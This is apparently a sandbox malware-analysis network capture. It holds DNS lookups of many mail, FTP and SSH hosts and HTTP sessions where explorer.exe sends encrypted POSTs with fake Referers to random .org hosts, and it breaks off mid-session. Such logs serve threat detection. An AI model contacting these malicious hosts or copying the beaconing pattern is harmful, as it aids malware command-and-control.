Dec 20, 2023 03:13:41.880083084 CET	1.1.1.1	192.168.2.4	0x18ea	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.28	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.880083084 CET	1.1.1.1	192.168.2.4	0x18ea	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.26	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.880083084 CET	1.1.1.1	192.168.2.4	0x18ea	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.68.16	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.880083084 CET	1.1.1.1	192.168.2.4	0x18ea	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.8	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.880083084 CET	1.1.1.1	192.168.2.4	0x18ea	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.880083084 CET	1.1.1.1	192.168.2.4	0x18ea	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.22	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.890151024 CET	1.1.1.1	192.168.2.4	0x5403	Name error (3)	mailgate.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:41.928847075 CET	1.1.1.1	192.168.2.4	0xdd4a	Name error (3)	mailgate.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:42.000972033 CET	1.1.1.1	192.168.2.4	0xff0a	Name error (3)	mailgate.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:42.203511000 CET	1.1.1.1	192.168.2.4	0x6e63	Server failure (2)	mail.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:43.580130100 CET	1.1.1.1	192.168.2.4	0x5063	Server failure (2)	pop.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:43.580406904 CET	1.1.1.1	192.168.2.4	0x5063	Server failure (2)	pop.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:43.580419064 CET	1.1.1.1	192.168.2.4	0x5063	Server failure (2)	pop.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:43.580429077 CET	1.1.1.1	192.168.2.4	0x5063	Server failure (2)	pop.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:46.111819983 CET	1.1.1.1	192.168.2.4	0xfdbe	Server failure (2)	imap.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:46.111886978 CET	1.1.1.1	192.168.2.4	0xfdbe	Server failure (2)	imap.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:46.112195015 CET	1.1.1.1	192.168.2.4	0xfdbe	Server failure (2)	imap.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:46.112262964 CET	1.1.1.1	192.168.2.4	0xfdbe	Server failure (2)	imap.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:46.209805965 CET	1.1.1.1	192.168.2.4	0xfdbe	Server failure (2)	imap.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.866355896 CET	1.1.1.1	192.168.2.4	0xf14b	Name error (3)	mailgate.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.880235910 CET	1.1.1.1	192.168.2.4	0xf1a	Name error (3)	mailgate.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.880753994 CET	1.1.1.1	192.168.2.4	0xa83e	Name error (3)	mailgate.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.899456024 CET	1.1.1.1	192.168.2.4	0xd463	Name error (3)	mailgate.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.899574041 CET	1.1.1.1	192.168.2.4	0xd616	Name error (3)	mailgate.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.907171011 CET	1.1.1.1	192.168.2.4	0xb890	Name error (3)	mailgate.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.909713030 CET	1.1.1.1	192.168.2.4	0x95ff	Name error (3)	mailgate.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.910633087 CET	1.1.1.1	192.168.2.4	0x7634	Name error (3)	relay.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.913593054 CET	1.1.1.1	192.168.2.4	0x8565	Name error (3)	mailgate.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.937769890 CET	1.1.1.1	192.168.2.4	0x38ed	Name error (3)	mailgate.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.938615084 CET	1.1.1.1	192.168.2.4	0x6baf	Name error (3)	mailgate.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.943227053 CET	1.1.1.1	192.168.2.4	0xb0bb	Name error (3)	mailgate.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.944680929 CET	1.1.1.1	192.168.2.4	0xf1cc	Name error (3)	mailgate.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.945080042 CET	1.1.1.1	192.168.2.4	0xa4e7	Name error (3)	mailgate.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:54.945621014 CET	1.1.1.1	192.168.2.4	0xaf9c	Name error (3)	mailgate.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.431803942 CET	1.1.1.1	192.168.2.4	0x1408	Name error (3)	mailgate.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.478924036 CET	1.1.1.1	192.168.2.4	0x1b79	Name error (3)	mailgate.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.479203939 CET	1.1.1.1	192.168.2.4	0x2d5f	Name error (3)	mailgate.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.512944937 CET	1.1.1.1	192.168.2.4	0xba25	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.512944937 CET	1.1.1.1	192.168.2.4	0xba25	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.512944937 CET	1.1.1.1	192.168.2.4	0xba25	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.9.5	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.512944937 CET	1.1.1.1	192.168.2.4	0xba25	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.8.36	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.512944937 CET	1.1.1.1	192.168.2.4	0xba25	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.8.32	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.512944937 CET	1.1.1.1	192.168.2.4	0xba25	No error (0)	greenlawnfertilizing-com.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.522372007 CET	1.1.1.1	192.168.2.4	0x7af9	Name error (3)	ftp.micresearch.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.553096056 CET	1.1.1.1	192.168.2.4	0xf20	No error (0)	ontariobluejays-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.553096056 CET	1.1.1.1	192.168.2.4	0xf20	No error (0)	ontariobluejays-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.653074026 CET	1.1.1.1	192.168.2.4	0xfb27	No error (0)	orangutech-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:55.653074026 CET	1.1.1.1	192.168.2.4	0xfb27	No error (0)	orangutech-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.053024054 CET	1.1.1.1	192.168.2.4	0x787a	No error (0)	geoffreynolds-com-au.mail.protection.outlook.com		104.47.71.202	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.053024054 CET	1.1.1.1	192.168.2.4	0x787a	No error (0)	geoffreynolds-com-au.mail.protection.outlook.com		104.47.71.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.153059959 CET	1.1.1.1	192.168.2.4	0x7e54	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.132.30	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.153059959 CET	1.1.1.1	192.168.2.4	0x7e54	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.132.28	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.153059959 CET	1.1.1.1	192.168.2.4	0x7e54	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.137.0	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.153059959 CET	1.1.1.1	192.168.2.4	0x7e54	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.137.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.158132076 CET	1.1.1.1	192.168.2.4	0x7ea0	No error (0)	conalcorp-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.158132076 CET	1.1.1.1	192.168.2.4	0x7ea0	No error (0)	conalcorp-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.160922050 CET	1.1.1.1	192.168.2.4	0x3fc6	No error (0)	ftp.jgarch.com		69.49.101.57	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.249538898 CET	1.1.1.1	192.168.2.4	0x26b3	No error (0)	nicsonsconcrete-com-au.mail.protection.outlook.com		104.47.71.202	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.249538898 CET	1.1.1.1	192.168.2.4	0x26b3	No error (0)	nicsonsconcrete-com-au.mail.protection.outlook.com		104.47.71.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.283232927 CET	1.1.1.1	192.168.2.4	0x9c3b	No error (0)	ftp.iconcap.com	iconcap.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:56.283232927 CET	1.1.1.1	192.168.2.4	0x9c3b	No error (0)	iconcap.com		45.56.74.212	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.310676098 CET	1.1.1.1	192.168.2.4	0x3a0e	Name error (3)	ssh.u90soccercenter.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.386702061 CET	1.1.1.1	192.168.2.4	0x771e	Name error (3)	mailgate.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.390124083 CET	1.1.1.1	192.168.2.4	0x7707	Name error (3)	mailgate.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.394224882 CET	1.1.1.1	192.168.2.4	0x1882	Name error (3)	mailgate.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.444400072 CET	1.1.1.1	192.168.2.4	0x2bf8	Name error (3)	mailgate.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.444569111 CET	1.1.1.1	192.168.2.4	0xf344	Name error (3)	mailgate.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.444962978 CET	1.1.1.1	192.168.2.4	0x4e1f	Name error (3)	mailgate.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.445638895 CET	1.1.1.1	192.168.2.4	0x1b0	Name error (3)	mailgate.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.445718050 CET	1.1.1.1	192.168.2.4	0xc453	Name error (3)	mailgate.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.445734978 CET	1.1.1.1	192.168.2.4	0xac7b	Name error (3)	mailgate.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.445827007 CET	1.1.1.1	192.168.2.4	0x9bfc	Name error (3)	mailgate.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.445842981 CET	1.1.1.1	192.168.2.4	0xa64a	Name error (3)	mailgate.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.445914984 CET	1.1.1.1	192.168.2.4	0x925d	Name error (3)	mailgate.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.445925951 CET	1.1.1.1	192.168.2.4	0x6321	Name error (3)	mailgate.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446072102 CET	1.1.1.1	192.168.2.4	0x36d3	Name error (3)	mailgate.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446135998 CET	1.1.1.1	192.168.2.4	0xf52a	Name error (3)	mailgate.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446352959 CET	1.1.1.1	192.168.2.4	0x7892	Name error (3)	mailgate.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446954012 CET	1.1.1.1	192.168.2.4	0x520c	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.12	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446954012 CET	1.1.1.1	192.168.2.4	0x520c	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.28	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446954012 CET	1.1.1.1	192.168.2.4	0x520c	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.26	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446954012 CET	1.1.1.1	192.168.2.4	0x520c	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.68.16	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446954012 CET	1.1.1.1	192.168.2.4	0x520c	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.8	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446954012 CET	1.1.1.1	192.168.2.4	0x520c	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.446954012 CET	1.1.1.1	192.168.2.4	0x520c	No error (0)	theijunction-com0ic.mail.protection.outlook.com		52.101.73.22	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.447170019 CET	1.1.1.1	192.168.2.4	0x522f	Name error (3)	mailgate.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.453902960 CET	1.1.1.1	192.168.2.4	0xf8cb	Name error (3)	mailgate.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.456710100 CET	1.1.1.1	192.168.2.4	0xb30e	Name error (3)	mailgate.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.457014084 CET	1.1.1.1	192.168.2.4	0x8094	Name error (3)	mailgate.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.465564013 CET	1.1.1.1	192.168.2.4	0x4a94	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.9.14	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.465564013 CET	1.1.1.1	192.168.2.4	0x4a94	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.465564013 CET	1.1.1.1	192.168.2.4	0x4a94	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.465564013 CET	1.1.1.1	192.168.2.4	0x4a94	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.465564013 CET	1.1.1.1	192.168.2.4	0x4a94	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.465564013 CET	1.1.1.1	192.168.2.4	0x4a94	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.8.36	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.465564013 CET	1.1.1.1	192.168.2.4	0x4a94	No error (0)	horsetech-com.mail.protection.outlook.com		52.101.8.34	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.469655037 CET	1.1.1.1	192.168.2.4	0x8fbe	Name error (3)	mailgate.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.495893955 CET	1.1.1.1	192.168.2.4	0x9879	No error (0)	ftp.ads-ecuador.com		66.96.160.139	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.508843899 CET	1.1.1.1	192.168.2.4	0xb92	No error (0)	justinsweet-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.508843899 CET	1.1.1.1	192.168.2.4	0xb92	No error (0)	justinsweet-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.515311003 CET	1.1.1.1	192.168.2.4	0xba30	No error (0)	texasopendoor-com.mail.protection.outlook.com		104.47.74.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.515311003 CET	1.1.1.1	192.168.2.4	0xba30	No error (0)	texasopendoor-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.515480042 CET	1.1.1.1	192.168.2.4	0x3e4b	No error (0)	atelcommunications-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.515480042 CET	1.1.1.1	192.168.2.4	0x3e4b	No error (0)	atelcommunications-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.529036999 CET	1.1.1.1	192.168.2.4	0x7c20	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.529036999 CET	1.1.1.1	192.168.2.4	0x7c20	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.529036999 CET	1.1.1.1	192.168.2.4	0x7c20	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.529036999 CET	1.1.1.1	192.168.2.4	0x7c20	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.28	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.529036999 CET	1.1.1.1	192.168.2.4	0x7c20	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.529036999 CET	1.1.1.1	192.168.2.4	0x7c20	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.11	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:56.529036999 CET	1.1.1.1	192.168.2.4	0x7c20	No error (0)	directaplus-com01i.mail.protection.outlook.com		52.101.73.19	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:58.122445107 CET	45.155.250.90	192.168.2.4	0xab6d	No error (0)	csaaqcu.net		185.196.8.22	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.316066027 CET	1.1.1.1	192.168.2.4	0x10a8	Server failure (2)	pop.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.316078901 CET	1.1.1.1	192.168.2.4	0x10a8	Server failure (2)	pop.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.316103935 CET	1.1.1.1	192.168.2.4	0x10a8	Server failure (2)	pop.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.316181898 CET	1.1.1.1	192.168.2.4	0x10a8	Server failure (2)	pop.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.317408085 CET	1.1.1.1	192.168.2.4	0x24b3	Server failure (2)	imap.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.317442894 CET	1.1.1.1	192.168.2.4	0x24b3	Server failure (2)	imap.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.317478895 CET	1.1.1.1	192.168.2.4	0x24b3	Server failure (2)	imap.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.317722082 CET	1.1.1.1	192.168.2.4	0x24b3	Server failure (2)	imap.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.343667030 CET	1.1.1.1	192.168.2.4	0x2943	Server failure (2)	mail.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.343859911 CET	1.1.1.1	192.168.2.4	0x2943	Server failure (2)	mail.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.343902111 CET	1.1.1.1	192.168.2.4	0x2943	Server failure (2)	mail.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:14:02.344638109 CET	1.1.1.1	192.168.2.4	0x2943	Server failure (2)	mail.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		179.25.0.220	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		95.158.162.200	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		95.86.30.3	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		185.12.79.25	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		175.120.254.9	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		211.171.233.129	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:15:44.467093945 CET	1.1.1.1	192.168.2.4	0xc1ec	No error (0)	humydrole.com		195.158.3.162	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	34.94.245.237	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:18.101485014 CET	275	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lkxwbmwlovgjxl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: sumagulituyo.org
Dec 20, 2023 03:12:18.101505995 CET	145	OUT	Data Raw: 48 9d 8f b9 3c 15 23 52 5a 04 51 56 0c ac 26 ca 5a 6b ed 62 8c 1b df de c1 19 d7 f1 00 f7 d3 e7 f9 a1 8d b5 75 35 90 b6 a4 5d 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 8b cd 48 c1 Data Ascii: H<#RZQV&Zkbu5]j~_=;}f=B!bOH=!6T_aVNM6bK:F,/~hc
Dec 20, 2023 03:12:18.362071991 CET	422	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:12:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ec87f81daec90ea2b238ef6589e3cea9\|102.129.152.212\|1703038338\|1703038338\|0\|1\|0; path=/; domain=.sumagulituyo.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.152.212; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	104.198.2.251	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:18.817909002 CET	275	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://smbideuffuovv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 237 Host: snukerukeutit.org
Dec 20, 2023 03:12:18.817970037 CET	237	OUT	Data Raw: 48 9d 8f b9 3c 15 23 52 5a 04 51 56 0c ac 26 ca 5a 6b ed 62 8c 1b df de c1 19 d7 f1 00 f7 d3 e7 f9 a1 8d b5 75 35 90 b6 a4 5d 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 9c d6 36 d2 Data Ascii: H<#RZQV&Zkbu5]j~_=;}f=B!bO639g &FvZq5;@1$: Y(4B\|ge'$)ous:~k*:A'dA\t7W,>hT
Dec 20, 2023 03:12:19.084006071 CET	423	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:12:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=aabd4dc2d2567ed8f24d320bf4191741\|102.129.152.212\|1703038338\|1703038338\|0\|1\|0; path=/; domain=.snukerukeutit.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.152.212; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	34.143.166.163	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:20.069940090 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bdaxyrbesnacvmlo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 285 Host: lightseinsteniki.org
Dec 20, 2023 03:12:20.069982052 CET	285	OUT	Data Raw: 48 9d 8f b9 3c 15 23 52 5a 04 51 56 0c ac 26 ca 5a 6b ed 62 8c 1b df de c1 19 d7 f1 00 f7 d3 e7 f9 a1 8d b5 75 35 90 b6 a4 5d 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 9b f5 07 c0 Data Ascii: H<#RZQV&Zkbu5]j~_=;}f=B!bO.:vsEmeDV2ZyNZf.%5Uh>=(1B.3)un'O{$3H$5]'W*"tRFabtsh@,
Dec 20, 2023 03:12:20.655170918 CET	426	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:12:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=0e735a54e47103ba1842b234edae5b38\|102.129.152.212\|1703038340\|1703038340\|0\|1\|0; path=/; domain=.lightseinsteniki.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.152.212; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	34.143.166.163	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
